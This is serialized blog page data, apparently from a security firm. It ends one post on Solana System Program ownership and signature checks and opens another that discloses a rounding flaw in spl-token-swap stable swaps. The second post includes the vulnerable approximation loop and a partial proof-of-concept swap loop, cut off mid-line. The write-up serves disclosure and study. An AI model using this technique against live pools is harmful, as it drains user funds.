value":1701},{"type":23,"tag":213,"props":2453,"children":2454},{"style":220},[2455],{"type":28,"value":424},{"type":23,"tag":213,"props":2457,"children":2458},{"style":230},[2459],{"type":28,"value":1710},{"type":23,"tag":213,"props":2461,"children":2462},{"style":220},[2463],{"type":28,"value":1715},{"type":23,"tag":213,"props":2465,"children":2466},{"class":215,"line":533},[2467,2471,2475,2479,2483,2487,2491,2495,2500],{"type":23,"tag":213,"props":2468,"children":2469},{"style":290},[2470],{"type":28,"value":1678},{"type":23,"tag":213,"props":2472,"children":2473},{"style":274},[2474],{"type":28,"value":562},{"type":23,"tag":213,"props":2476,"children":2477},{"style":257},[2478],{"type":28,"value":1687},{"type":23,"tag":213,"props":2480,"children":2481},{"style":220},[2482],{"type":28,"value":265},{"type":23,"tag":213,"props":2484,"children":2485},{"style":274},[2486],{"type":28,"value":1696},{"type":23,"tag":213,"props":2488,"children":2489},{"style":268},[2490],{"type":28,"value":1743},{"type":23,"tag":213,"props":2492,"children":2493},{"style":220},[2494],{"type":28,"value":424},{"type":23,"tag":213,"props":2496,"children":2497},{"style":230},[2498],{"type":28,"value":2499},"false",{"type":23,"tag":213,"props":2501,"children":2502},{"style":220},[2503],{"type":28,"value":1715},{"type":23,"tag":213,"props":2505,"children":2506},{"class":215,"line":543},[2507],{"type":23,"tag":213,"props":2508,"children":2509},{"style":220},[2510],{"type":28,"value":1764},{"type":23,"tag":213,"props":2512,"children":2513},{"class":215,"line":551},[2514,2518,2522,2526],{"type":23,"tag":213,"props":2515,"children":2516},{"style":290},[2517],{"type":28,"value":1773},{"type":23,"tag":213,"props":2519,"children":2520},{"style":274},[2521],{"type":28,"value":562},{"type":23,"tag":213,"props":2523,"children":2524},{"style":257},[2525],{"type":28,"value":1782},{"type":23,"tag":213,"props":2527,"children":2528},{"style":220},[2529],{"type":28,"value":1511},{"type":23,"tag":213,"props":2531,"children":2532},{"class":215,"line":570},[2533,2537,2541,2545],{"type":23,"tag":213,"props":2534,"children":2535},{"style":220},[2536],{"type":28,"value":1795},{"type":23,"tag":213,"props":2538,"children":2539},{"style":274},[2540],{"type":28,"value":562},{"type":23,"tag":213,"props":2542,"children":2543},{"style":257},[2544],{"type":28,"value":1804},{"type":23,"tag":213,"props":2546,"children":2547},{"style":220},[2548],{"type":28,"value":1809},{"type":23,"tag":213,"props":2550,"children":2551},{"class":215,"line":655},[2552,2556,2560,2564,2568,2573,2577],{"type":23,"tag":213,"props":2553,"children":2554},{"style":274},[2555],{"type":28,"value":1818},{"type":23,"tag":213,"props":2557,"children":2558},{"style":220},[2559],{"type":28,"value":1823},{"type":23,"tag":213,"props":2561,"children":2562},{"style":274},[2563],{"type":28,"value":562},{"type":23,"tag":213,"props":2565,"children":2566},{"style":290},[2567],{"type":28,"value":1472},{"type":23,"tag":213,"props":2569,"children":2570},{"style":220},[2571],{"type":28,"value":2572}," { ",{"type":23,"tag":213,"props":2574,"children":2575},{"style":268},[2576],{"type":28,"value":2033},{"type":23,"tag":213,"props":2578,"children":2579},{"style":220},[2580],{"type":28,"value":2581}," },\n",{"type":23,"tag":213,"props":2583,"children":2584},{"class":215,"line":1176},[2585,2589],{"type":23,"tag":213,"props":2586,"children":2587},{"style":268},[2588],{"type":28,"value":1905},{"type":23,"tag":213,"props":2590,"children":2591},{"style":220},[2592],{"type":28,"value":944},{"type":23,"tag":213,"props":2594,"children":2595},{"class":215,"line":1202},[2596],{"type":23,"tag":213,"props":2597,"children":2598},{"style":220},[2599],{"type":28,"value":1918},{"type":23,"tag":213,"props":2601,"children":2602},{"class":215,"line":1758},[2603],{"type":23,"tag":213,"props":2604,"children":2605},{"style":220},[2606],{"type":28,"value":1208},{"type":23,"tag":24,"props":2608,"children":2609},{},[2610,2612,2617],{"type":28,"value":2611},"Note how only ",{"type":23,"tag":209,"props":2613,"children":2615},{"className":2614},[],[2616],{"type":28,"value":1701},{"type":28,"value":2618}," needs a signature. Intuitively this makes sense because we don't need permission to transfer funds into an account (at least in Solana's permission model).",{"type":23,"tag":24,"props":2620,"children":2621},{},[2622,2624,2630,2632,2637],{"type":28,"value":2623},"The ",{"type":23,"tag":209,"props":2625,"children":2627},{"className":2626},[],[2628],{"type":28,"value":2629},"transfer",{"type":28,"value":2631}," implementation in ",{"type":23,"tag":209,"props":2633,"children":2635},{"className":2634},[],[2636],{"type":28,"value":1349},{"type":28,"value":2638}," indeed checks for the signature.",{"type":23,"tag":202,"props":2640,"children":2642},{"code":2641,"language":205,"meta":7,"className":206,"style":7}," if !instruction_context\n .is_signer(instruction_context.get_number_of_program_accounts() + from_account_index)?\n {\n ic_msg!(\n invoke_context,\n \"Transfer: `from` account {} must sign\",\n instruction_context.get_instruction_account_key(\n invoke_context.transaction_context,\n from_account_index\n )?,\n );\n return Err(InstructionError::MissingRequiredSignature);\n }\n",[2643],{"type":23,"tag":209,"props":2644,"children":2645},{"__ignoreMap":7},[2646,2664,2718,2726,2738,2750,2762,2783,2800,2808,2824,2832,2868],{"type":23,"tag":213,"props":2647,"children":2648},{"class":215,"line":216},[2649,2654,2659],{"type":23,"tag":213,"props":2650,"children":2651},{"style":1362},[2652],{"type":28,"value":2653}," if",{"type":23,"tag":213,"props":2655,"children":2656},{"style":274},[2657],{"type":28,"value":2658}," !",{"type":23,"tag":213,"props":2660,"children":2661},{"style":268},[2662],{"type":28,"value":2663},"instruction_context\n",{"type":23,"tag":213,"props":2665,"children":2666},{"class":215,"line":226},[2667,2672,2676,2680,2685,2689,2694,2699,2704,2709,2713],{"type":23,"tag":213,"props":2668,"children":2669},{"style":274},[2670],{"type":28,"value":2671}," .",{"type":23,"tag":213,"props":2673,"children":2674},{"style":257},[2675],{"type":28,"value":1262},{"type":23,"tag":213,"props":2677,"children":2678},{"style":220},[2679],{"type":28,"value":265},{"type":23,"tag":213,"props":2681,"children":2682},{"style":268},[2683],{"type":28,"value":2684},"instruction_context",{"type":23,"tag":213,"props":2686,"children":2687},{"style":274},[2688],{"type":28,"value":124},{"type":23,"tag":213,"props":2690,"children":2691},{"style":257},[2692],{"type":28,"value":2693},"get_number_of_program_accounts",{"type":23,"tag":213,"props":2695,"children":2696},{"style":220},[2697],{"type":28,"value":2698},"() ",{"type":23,"tag":213,"props":2700,"children":2701},{"style":274},[2702],{"type":28,"value":2703},"+",{"type":23,"tag":213,"props":2705,"children":2706},{"style":268},[2707],{"type":28,"value":2708}," from_account_index",{"type":23,"tag":213,"props":2710,"children":2711},{"style":220},[2712],{"type":28,"value":2121},{"type":23,"tag":213,"props":2714,"children":2715},{"style":274},[2716],{"type":28,"value":2717},"?\n",{"type":23,"tag":213,"props":2719,"children":2720},{"class":215,"line":524},[2721],{"type":23,"tag":213,"props":2722,"children":2723},{"style":220},[2724],{"type":28,"value":2725}," {\n",{"type":23,"tag":213,"props":2727,"children":2728},{"class":215,"line":533},[2729,2734],{"type":23,"tag":213,"props":2730,"children":2731},{"style":257},[2732],{"type":28,"value":2733}," ic_msg!",{"type":23,"tag":213,"props":2735,"children":2736},{"style":220},[2737],{"type":28,"value":1511},{"type":23,"tag":213,"props":2739,"children":2740},{"class":215,"line":543},[2741,2746],{"type":23,"tag":213,"props":2742,"children":2743},{"style":268},[2744],{"type":28,"value":2745}," invoke_context",{"type":23,"tag":213,"props":2747,"children":2748},{"style":220},[2749],{"type":28,"value":944},{"type":23,"tag":213,"props":2751,"children":2752},{"class":215,"line":551},[2753,2758],{"type":23,"tag":213,"props":2754,"children":2755},{"style":246},[2756],{"type":28,"value":2757}," \"Transfer: `from` account {} must sign\"",{"type":23,"tag":213,"props":2759,"children":2760},{"style":220},[2761],{"type":28,"value":944},{"type":23,"tag":213,"props":2763,"children":2764},{"class":215,"line":570},[2765,2770,2774,2779],{"type":23,"tag":213,"props":2766,"children":2767},{"style":268},[2768],{"type":28,"value":2769}," instruction_context",{"type":23,"tag":213,"props":2771,"children":2772},{"style":274},[2773],{"type":28,"value":124},{"type":23,"tag":213,"props":2775,"children":2776},{"style":257},[2777],{"type":28,"value":2778},"get_instruction_account_key",{"type":23,"tag":213,"props":2780,"children":2781},{"style":220},[2782],{"type":28,"value":1511},{"type":23,"tag":213,"props":2784,"children":2785},{"class":215,"line":655},[2786,2791,2795],{"type":23,"tag":213,"props":2787,"children":2788},{"style":268},[2789],{"type":28,"value":2790}," invoke_context",{"type":23,"tag":213,"props":2792,"children":2793},{"style":274},[2794],{"type":28,"value":124},{"type":23,"tag":213,"props":2796,"children":2797},{"style":220},[2798],{"type":28,"value":2799},"transaction_context,\n",{"type":23,"tag":213,"props":2801,"children":2802},{"class":215,"line":1176},[2803],{"type":23,"tag":213,"props":2804,"children":2805},{"style":268},[2806],{"type":28,"value":2807}," from_account_index\n",{"type":23,"tag":213,"props":2809,"children":2810},{"class":215,"line":1202},[2811,2816,2820],{"type":23,"tag":213,"props":2812,"children":2813},{"style":220},[2814],{"type":28,"value":2815}," )",{"type":23,"tag":213,"props":2817,"children":2818},{"style":274},[2819],{"type":28,"value":2126},{"type":23,"tag":213,"props":2821,"children":2822},{"style":220},[2823],{"type":28,"value":944},{"type":23,"tag":213,"props":2825,"children":2826},{"class":215,"line":1758},[2827],{"type":23,"tag":213,"props":2828,"children":2829},{"style":220},[2830],{"type":28,"value":2831}," );\n",{"type":23,"tag":213,"props":2833,"children":2834},{"class":215,"line":1767},[2835,2840,2845,2849,2854,2858,2863],{"type":23,"tag":213,"props":2836,"children":2837},{"style":1362},[2838],{"type":28,"value":2839}," return",{"type":23,"tag":213,"props":2841,"children":2842},{"style":290},[2843],{"type":28,"value":2844}," Err",{"type":23,"tag":213,"props":2846,"children":2847},{"style":220},[2848],{"type":28,"value":265},{"type":23,"tag":213,"props":2850,"children":2851},{"style":290},[2852],{"type":28,"value":2853},"InstructionError",{"type":23,"tag":213,"props":2855,"children":2856},{"style":274},[2857],{"type":28,"value":562},{"type":23,"tag":213,"props":2859,"children":2860},{"style":290},[2861],{"type":28,"value":2862},"MissingRequiredSignature",{"type":23,"tag":213,"props":2864,"children":2865},{"style":220},[2866],{"type":28,"value":2867},");\n",{"type":23,"tag":213,"props":2869,"children":2870},{"class":215,"line":1789},[2871],{"type":23,"tag":213,"props":2872,"children":2873},{"style":220},[2874],{"type":28,"value":2875}," }\n",{"type":23,"tag":24,"props":2877,"children":2878},{},[2879,2881,2886],{"type":28,"value":2880},"Note that because the System Program runs at a higher level than the execution runtime, the System Program can only transfer funds out of accounts that it owns. In other words, ",{"type":23,"tag":209,"props":2882,"children":2884},{"className":2883},[],[2885],{"type":28,"value":2629},{"type":28,"value":2887}," does not work on arbitrary Solana accounts, even if you can generate a valid signature for it. By default all user pubkeys are owned by the System Program.",{"type":23,"tag":202,"props":2889,"children":2891},{"code":2890},"$ solana account 6ZRCB7AAqGre6c72PRz3MHLC73VMYvJ8bi9KHf1HFpNk\n\nPublic Key: 6ZRCB7AAqGre6c72PRz3MHLC73VMYvJ8bi9KHf1HFpNk\nBalance: 1152042.467511623 SOL\nOwner: 11111111111111111111111111111111\nExecutable: false\nRent Epoch: 288\n",[2892],{"type":23,"tag":209,"props":2893,"children":2894},{"__ignoreMap":7},[2895],{"type":28,"value":2890},{"type":23,"tag":24,"props":2897,"children":2898},{},[2899],{"type":28,"value":2900},"An example of an account which is not owned by the System Program are the token accounts which store how many tokens a user has.",{"type":23,"tag":202,"props":2902,"children":2904},{"code":2903},"$ solana account 4W4dtYi4rXTegfR6byhmP17VJo4MaUWWCt3zzLnZVKGZ\n\nPublic Key: 4W4dtYi4rXTegfR6byhmP17VJo4MaUWWCt3zzLnZVKGZ\nBalance: 0.00203928 SOL\nOwner: TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA\nExecutable: false\nRent Epoch: 288\nLength: 165 (0xa5) bytes\n0000: 06 83 10 86 1a 98 32 7d 05 50 57 4d 84 41 8a a6 ......2}.PWM.A..\n0010: e1 0c 33 52 dd aa 7f d7 f5 81 52 cc ee b2 38 87 ..3R......R...8.\n0020: 52 98 60 10 57 37 39 df 4b 58 ba 50 e3 9c f3 f3 R.`.W79.KX.P....\n0030: 35 b8 9c c7 d1 cb 1d 32 b5 de 04 ef a0 68 c9 39 5......2.....h.9\n0040: 40 0d 03 00 00 00 00 00 00 00 00 00 00 00 00 00 @...............\n0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n0060: 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ................\n0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00a0: 00 00 00 00 00\n",[2905],{"type":23,"tag":209,"props":2906,"children":2907},{"__ignoreMap":7},[2908],{"type":28,"value":2903},{"type":23,"tag":24,"props":2910,"children":2911},{},[2912,2914,2921],{"type":28,"value":2913},"This is an example of a ",{"type":23,"tag":36,"props":2915,"children":2918},{"href":2916,"rel":2917},"https://docs.solana.com/developing/programming-model/calling-between-programs#program-derived-addresses",[40],[2919],{"type":28,"value":2920},"program derived addresses",{"type":28,"value":124},{"type":23,"tag":24,"props":2923,"children":2924},{},[2925],{"type":28,"value":2926},"An astute reader might also notice that the original pubkey is embedded in the token account data starting at position 0x20. Intuitively the token account must store it's owner somewhere, and this is often done by storing the owner pubkey in the account data.",{"type":23,"tag":47,"props":2928,"children":2930},{"id":2929},"closing-thoughts",[2931],{"type":28,"value":2932},"Closing Thoughts",{"type":23,"tag":24,"props":2934,"children":2935},{},[2936,2938,2944],{"type":28,"value":2937},"There are many intricacies to Solana's programming model which we will perhaps explore in future blog posts. For example, how do user accounts created with ",{"type":23,"tag":209,"props":2939,"children":2941},{"className":2940},[],[2942],{"type":28,"value":2943},"solana-keygen",{"type":28,"value":2945}," work? What exactly is the account validation scheme?",{"type":23,"tag":24,"props":2947,"children":2948},{},[2949],{"type":28,"value":2950},"While it may be tempting to treat Solana as a blackbox, the code itself is all open source. We believe a crucial part of security is building a deep understanding of the underlying system. This requires digging into the Solana runtime. We hope this and future posts present an interesting perspective on the Solana runtime.",{"type":23,"tag":24,"props":2952,"children":2953},{},[2954],{"type":28,"value":2955},"Please reach out if you found this useful or have any additional thoughts to share.",{"type":23,"tag":2957,"props":2958,"children":2959},"style",{},[2960],{"type":28,"value":2961},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":226,"depth":226,"links":2963},[2964,2965,2966],{"id":49,"depth":226,"text":52},{"id":1303,"depth":226,"text":1306},{"id":2929,"depth":226,"text":2932},"markdown","content:blog:2022-03-14-solana-security-intro.md","content","blog/2022-03-14-solana-security-intro.md","blog/2022-03-14-solana-security-intro","md",[2974,5472,5809,9346,13695,18797,29059,30488,31251,35479,40505,45925,47082,50573,60967,67695,69532,71242,75905,89804,92525,97314,99754,102099,107885,123705,132005,141928,147206,156599,158936],{"_path":2975,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":2976,"description":2977,"image":2978,"date":2982,"isFeatured":18,"tags":2983,"onBlogPage":18,"body":2985,"_type":2967,"_id":5469,"_source":2969,"_file":5470,"_stem":5471,"_extension":2972},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":2979,"width":2980,"height":2981},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[16,2984],"report",{"type":20,"children":2986,"toc":5463},[2987,3001,3006,3011,3019,3025,3030,3035,3044,3052,3057,3062,3070,3075,3080,3452,3462,3467,3992,3997,4005,4013,4019,4024,4029,4034,4041,4053,4058,4070,4309,4314,4319,4325,4330,4335,4381,4386,4394,4399,4404,4409,4553,4566,4681,4695,4703,4717,4725,4738,4743,4755,4763,4785,5403,5407,5412,5424,5437,5444,5449,5454,5459],{"type":23,"tag":24,"props":2988,"children":2989},{},[2990,2992,2999],{"type":28,"value":2991},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":23,"tag":36,"props":2993,"children":2996},{"href":2994,"rel":2995},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[40],[2997],{"type":28,"value":2998},"spl-token-swap",{"type":28,"value":3000},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":23,"tag":24,"props":3002,"children":3003},{},[3004],{"type":28,"value":3005},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":23,"tag":24,"props":3007,"children":3008},{},[3009],{"type":28,"value":3010},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":23,"tag":24,"props":3012,"children":3013},{},[3014],{"type":23,"tag":87,"props":3015,"children":3016},{},[3017],{"type":28,"value":3018},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":23,"tag":47,"props":3020,"children":3022},{"id":3021},"discovery",[3023],{"type":28,"value":3024},"Discovery",{"type":23,"tag":24,"props":3026,"children":3027},{},[3028],{"type":28,"value":3029},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":23,"tag":24,"props":3031,"children":3032},{},[3033],{"type":28,"value":3034},"After a while, he noticed something weird..",{"type":23,"tag":3036,"props":3037,"children":3038},"blockquote",{},[3039],{"type":23,"tag":24,"props":3040,"children":3041},{},[3042],{"type":28,"value":3043},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":23,"tag":202,"props":3045,"children":3047},{"code":3046},"KwnjUuZ : 0 9vMJfxu -> 1 EPjFWdd\nKwnjUuZ : 1 EPjFWdd -> 2 9vMJfxu\nKwnjUuZ : 2 9vMJfxu -> 3 EPjFWdd\nHU1tejU : 3 EPjFWdd -> 625 PRT88Rk\n24ZbKS3 : 625 PRT88Rk -> 7 EPjFWdd\n3oRPcFa : 7 EPjFWdd -> 6 BQcdHdA\n",[3048],{"type":23,"tag":209,"props":3049,"children":3050},{"__ignoreMap":7},[3051],{"type":28,"value":3046},{"type":23,"tag":24,"props":3053,"children":3054},{},[3055],{"type":28,"value":3056},"Somehow, we were getting tokens from nothing?",{"type":23,"tag":24,"props":3058,"children":3059},{},[3060],{"type":28,"value":3061},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":23,"tag":202,"props":3063,"children":3065},{"code":3064},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[3066],{"type":23,"tag":209,"props":3067,"children":3068},{"__ignoreMap":7},[3069],{"type":28,"value":3064},{"type":23,"tag":24,"props":3071,"children":3072},{},[3073],{"type":28,"value":3074},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":23,"tag":24,"props":3076,"children":3077},{},[3078],{"type":28,"value":3079},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":23,"tag":202,"props":3081,"children":3083},{"code":3082,"language":205,"meta":7,"className":206,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n if y_new == y {\n break;\n } else {\n y = y_new;\n }\n }\n",[3084],{"type":23,"tag":209,"props":3085,"children":3086},{"__ignoreMap":7},[3087,3095,3124,3156,3257,3362,3388,3400,3417,3437,3445],{"type":23,"tag":213,"props":3088,"children":3089},{"class":215,"line":216},[3090],{"type":23,"tag":213,"props":3091,"children":3092},{"style":537},[3093],{"type":28,"value":3094}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":213,"props":3096,"children":3097},{"class":215,"line":226},[3098,3102,3106,3111,3115,3120],{"type":23,"tag":213,"props":3099,"children":3100},{"style":230},[3101],{"type":28,"value":487},{"type":23,"tag":213,"props":3103,"children":3104},{"style":230},[3105],{"type":28,"value":492},{"type":23,"tag":213,"props":3107,"children":3108},{"style":268},[3109],{"type":28,"value":3110}," y",{"type":23,"tag":213,"props":3112,"children":3113},{"style":274},[3114],{"type":28,"value":511},{"type":23,"tag":213,"props":3116,"children":3117},{"style":268},[3118],{"type":28,"value":3119}," d_val",{"type":23,"tag":213,"props":3121,"children":3122},{"style":220},[3123],{"type":28,"value":313},{"type":23,"tag":213,"props":3125,"children":3126},{"class":215,"line":524},[3127,3132,3137,3142,3146,3151],{"type":23,"tag":213,"props":3128,"children":3129},{"style":1362},[3130],{"type":28,"value":3131}," for",{"type":23,"tag":213,"props":3133,"children":3134},{"style":268},[3135],{"type":28,"value":3136}," _",{"type":23,"tag":213,"props":3138,"children":3139},{"style":230},[3140],{"type":28,"value":3141}," in",{"type":23,"tag":213,"props":3143,"children":3144},{"style":514},[3145],{"type":28,"value":517},{"type":23,"tag":213,"props":3147,"children":3148},{"style":274},[3149],{"type":28,"value":3150},"..",{"type":23,"tag":213,"props":3152,"children":3153},{"style":220},[3154],{"type":28,"value":3155},"ITERATIONS {\n",{"type":23,"tag":213,"props":3157,"children":3158},{"class":215,"line":533},[3159,3164,3168,3173,3177,3182,3186,3191,3195,3200,3204,3208,3213,3217,3222,3226,3231,3236,3240,3245,3249,3253],{"type":23,"tag":213,"props":3160,"children":3161},{"style":230},[3162],{"type":28,"value":3163}," let",{"type":23,"tag":213,"props":3165,"children":3166},{"style":220},[3167],{"type":28,"value":400},{"type":23,"tag":213,"props":3169,"children":3170},{"style":268},[3171],{"type":28,"value":3172},"y_new",{"type":23,"tag":213,"props":3174,"children":3175},{"style":220},[3176],{"type":28,"value":424},{"type":23,"tag":213,"props":3178,"children":3179},{"style":268},[3180],{"type":28,"value":3181},"_",{"type":23,"tag":213,"props":3183,"children":3184},{"style":220},[3185],{"type":28,"value":298},{"type":23,"tag":213,"props":3187,"children":3188},{"style":274},[3189],{"type":28,"value":3190},"=",{"type":23,"tag":213,"props":3192,"children":3193},{"style":220},[3194],{"type":28,"value":400},{"type":23,"tag":213,"props":3196,"children":3197},{"style":257},[3198],{"type":28,"value":3199},"checked_u8_power",{"type":23,"tag":213,"props":3201,"children":3202},{"style":220},[3203],{"type":28,"value":265},{"type":23,"tag":213,"props":3205,"children":3206},{"style":274},[3207],{"type":28,"value":405},{"type":23,"tag":213,"props":3209,"children":3210},{"style":268},[3211],{"type":28,"value":3212},"y",{"type":23,"tag":213,"props":3214,"children":3215},{"style":220},[3216],{"type":28,"value":424},{"type":23,"tag":213,"props":3218,"children":3219},{"style":514},[3220],{"type":28,"value":3221},"2",{"type":23,"tag":213,"props":3223,"children":3224},{"style":220},[3225],{"type":28,"value":2121},{"type":23,"tag":213,"props":3227,"children":3228},{"style":274},[3229],{"type":28,"value":3230},"?.",{"type":23,"tag":213,"props":3232,"children":3233},{"style":257},[3234],{"type":28,"value":3235},"checked_add",{"type":23,"tag":213,"props":3237,"children":3238},{"style":220},[3239],{"type":28,"value":265},{"type":23,"tag":213,"props":3241,"children":3242},{"style":268},[3243],{"type":28,"value":3244},"c",{"type":23,"tag":213,"props":3246,"children":3247},{"style":220},[3248],{"type":28,"value":2121},{"type":23,"tag":213,"props":3250,"children":3251},{"style":274},[3252],{"type":28,"value":2126},{"type":23,"tag":213,"props":3254,"children":3255},{"style":220},[3256],{"type":28,"value":2183},{"type":23,"tag":213,"props":3258,"children":3259},{"class":215,"line":543},[3260,3265,3270,3274,3279,3283,3287,3291,3295,3299,3303,3307,3311,3315,3320,3324,3328,3333,3337,3342,3346,3350,3354,3358],{"type":23,"tag":213,"props":3261,"children":3262},{"style":274},[3263],{"type":28,"value":3264}," .",{"type":23,"tag":213,"props":3266,"children":3267},{"style":257},[3268],{"type":28,"value":3269},"checked_ceil_div",{"type":23,"tag":213,"props":3271,"children":3272},{"style":220},[3273],{"type":28,"value":265},{"type":23,"tag":213,"props":3275,"children":3276},{"style":257},[3277],{"type":28,"value":3278},"checked_u8_mul",{"type":23,"tag":213,"props":3280,"children":3281},{"style":220},[3282],{"type":28,"value":265},{"type":23,"tag":213,"props":3284,"children":3285},{"style":274},[3286],{"type":28,"value":405},{"type":23,"tag":213,"props":3288,"children":3289},{"style":268},[3290],{"type":28,"value":3212},{"type":23,"tag":213,"props":3292,"children":3293},{"style":220},[3294],{"type":28,"value":424},{"type":23,"tag":213,"props":3296,"children":3297},{"style":514},[3298],{"type":28,"value":3221},{"type":23,"tag":213,"props":3300,"children":3301},{"style":220},[3302],{"type":28,"value":2121},{"type":23,"tag":213,"props":3304,"children":3305},{"style":274},[3306],{"type":28,"value":3230},{"type":23,"tag":213,"props":3308,"children":3309},{"style":257},[3310],{"type":28,"value":3235},{"type":23,"tag":213,"props":3312,"children":3313},{"style":220},[3314],{"type":28,"value":265},{"type":23,"tag":213,"props":3316,"children":3317},{"style":268},[3318],{"type":28,"value":3319},"b",{"type":23,"tag":213,"props":3321,"children":3322},{"style":220},[3323],{"type":28,"value":2121},{"type":23,"tag":213,"props":3325,"children":3326},{"style":274},[3327],{"type":28,"value":3230},{"type":23,"tag":213,"props":3329,"children":3330},{"style":257},[3331],{"type":28,"value":3332},"checked_sub",{"type":23,"tag":213,"props":3334,"children":3335},{"style":220},[3336],{"type":28,"value":265},{"type":23,"tag":213,"props":3338,"children":3339},{"style":268},[3340],{"type":28,"value":3341},"d_val",{"type":23,"tag":213,"props":3343,"children":3344},{"style":220},[3345],{"type":28,"value":2121},{"type":23,"tag":213,"props":3347,"children":3348},{"style":274},[3349],{"type":28,"value":2126},{"type":23,"tag":213,"props":3351,"children":3352},{"style":220},[3353],{"type":28,"value":2121},{"type":23,"tag":213,"props":3355,"children":3356},{"style":274},[3357],{"type":28,"value":2126},{"type":23,"tag":213,"props":3359,"children":3360},{"style":220},[3361],{"type":28,"value":313},{"type":23,"tag":213,"props":3363,"children":3364},{"class":215,"line":551},[3365,3370,3375,3380,3384],{"type":23,"tag":213,"props":3366,"children":3367},{"style":1362},[3368],{"type":28,"value":3369}," if",{"type":23,"tag":213,"props":3371,"children":3372},{"style":268},[3373],{"type":28,"value":3374}," y_new",{"type":23,"tag":213,"props":3376,"children":3377},{"style":274},[3378],{"type":28,"value":3379}," ==",{"type":23,"tag":213,"props":3381,"children":3382},{"style":268},[3383],{"type":28,"value":3110},{"type":23,"tag":213,"props":3385,"children":3386},{"style":220},[3387],{"type":28,"value":1375},{"type":23,"tag":213,"props":3389,"children":3390},{"class":215,"line":570},[3391,3396],{"type":23,"tag":213,"props":3392,"children":3393},{"style":1362},[3394],{"type":28,"value":3395}," break",{"type":23,"tag":213,"props":3397,"children":3398},{"style":220},[3399],{"type":28,"value":313},{"type":23,"tag":213,"props":3401,"children":3402},{"class":215,"line":655},[3403,3408,3413],{"type":23,"tag":213,"props":3404,"children":3405},{"style":220},[3406],{"type":28,"value":3407}," } ",{"type":23,"tag":213,"props":3409,"children":3410},{"style":1362},[3411],{"type":28,"value":3412},"else",{"type":23,"tag":213,"props":3414,"children":3415},{"style":220},[3416],{"type":28,"value":1375},{"type":23,"tag":213,"props":3418,"children":3419},{"class":215,"line":1176},[3420,3425,3429,3433],{"type":23,"tag":213,"props":3421,"children":3422},{"style":268},[3423],{"type":28,"value":3424}," y",{"type":23,"tag":213,"props":3426,"children":3427},{"style":274},[3428],{"type":28,"value":511},{"type":23,"tag":213,"props":3430,"children":3431},{"style":268},[3432],{"type":28,"value":3374},{"type":23,"tag":213,"props":3434,"children":3435},{"style":220},[3436],{"type":28,"value":313},{"type":23,"tag":213,"props":3438,"children":3439},{"class":215,"line":1202},[3440],{"type":23,"tag":213,"props":3441,"children":3442},{"style":220},[3443],{"type":28,"value":3444}," }\n",{"type":23,"tag":213,"props":3446,"children":3447},{"class":215,"line":1758},[3448],{"type":23,"tag":213,"props":3449,"children":3450},{"style":220},[3451],{"type":28,"value":2875},{"type":23,"tag":24,"props":3453,"children":3454},{},[3455,3460],{"type":23,"tag":87,"props":3456,"children":3457},{},[3458],{"type":28,"value":3459},"approximate",{"type":28,"value":3461},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":23,"tag":24,"props":3463,"children":3464},{},[3465],{"type":28,"value":3466},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":23,"tag":202,"props":3468,"children":3470},{"code":3469,"language":205,"meta":7,"className":206,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n // create swap transaction\n let mut swap_instruction = swap(\n &spl_token::id(),\n &swap_pubkey,\n &swap_authority_pubkey,\n &test_account_signer.pubkey(),\n &sbtc_user_account,\n &sbtc_reserve,\n &renbtc_reserve,\n &renbtc_user_account,\n &admin_fee_account_sbtc_to_ren,\n 1,\n 2\n ).unwrap();\n\n // nonce\n swap_instruction.data.append(&mut vec![i, extranonce]);\n\n let mut instructions = vec![];\n\n instructions.push(swap_instruction);\n\n env.execute_as_transaction(&instructions, 